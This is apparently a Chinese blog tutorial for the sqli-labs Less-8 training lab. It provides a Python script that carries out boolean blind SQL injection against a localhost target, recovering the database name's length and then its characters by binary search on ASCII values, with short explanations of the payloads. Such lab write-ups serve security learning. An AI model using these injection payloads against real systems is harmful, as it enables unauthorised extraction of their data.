sqli-labs 第八关盲注python脚本

目录

​编辑

判断库名

1.库名长度

2.库名


import requests
import math

url = "http://127.0.0.1/Less-8"

def dblength():
    for i in range(20):
        payload = f"1' and length(database())>{i}-- "
        data = {'id': payload}
        res = requests.get(url, params=data)
        if 'You are in...........' not in res.text:
            return i

def dbname():
    dbname = ''
    length = dblength()
    for i in range(1, length + 1):
        low = 32
        high = 126
        flag = 0
        while low <= high:
            mid = (low + high) // 2
            payload = f"1' and ascii(substr(database(),{i},1))>{mid}-- "
            data = {'id': payload}
            res = requests.get(url, params=data)
            if 'You are in...........' in res.text:
                low = mid
            else:
                high = mid
            if mid == flag:
                dbname += chr(math.floor(mid + 1))
                break
            flag = mid
        print(dbname)
    return dbname


print('dbname is', dbname())

判断库名

1.库名长度

当大于一个不存在的长度的时候,就不会回显:

        

但是这个长度存在的话,会返回一个"You are in.........":

        

所以payload是1' and length(database())>{i}--+

def length():
    for i in range(20):
        payload = f"1' and length(database())>{i}-- "
        data = {'id': payload}
        res = requests.get(url, params=data)
        if 'You are in...........' not in res.text:
            return i

2.库名

长度已经得出来了,然后就一个字符一个字符的判断是什么:

payload:1' and ascii(substr(database(),1,1))>33--+

1.用ascll码对应字母数字,且范围是32-126

2.当没有返回值的时候就说明等于而不是大于,就得出值了。

3.加上二分法判断,比直接遍历要快

        

相关推荐

  1. SQL漏洞

    2024-05-12 17:42:08       39 阅读
  2. <span style='color:red;'>sql</span><span style='color:red;'>盲</span><span style='color:red;'>注</span>

    sql

    2024-05-12 17:42:08      27 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-05-12 17:42:08       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-05-12 17:42:08       106 阅读
  3. 在Django里面运行非项目文件

    2024-05-12 17:42:08       87 阅读
  4. Python语言-面向对象

    2024-05-12 17:42:08       96 阅读

热门阅读

  1. GDB 使用python

    2024-05-12 17:42:08       38 阅读
  2. sql中的lag()和lead()是什么意思

    2024-05-12 17:42:08       37 阅读
  3. Go语言基础知识学习

    2024-05-12 17:42:08       26 阅读
  4. Android App开机启动

    2024-05-12 17:42:08       37 阅读
  5. vim 查找字符串的命令

    2024-05-12 17:42:08       36 阅读
  6. 关于XDC 约束固化flash流程

    2024-05-12 17:42:08       104 阅读
  7. 学习Uni-app开发小程序Day8

    2024-05-12 17:42:08       33 阅读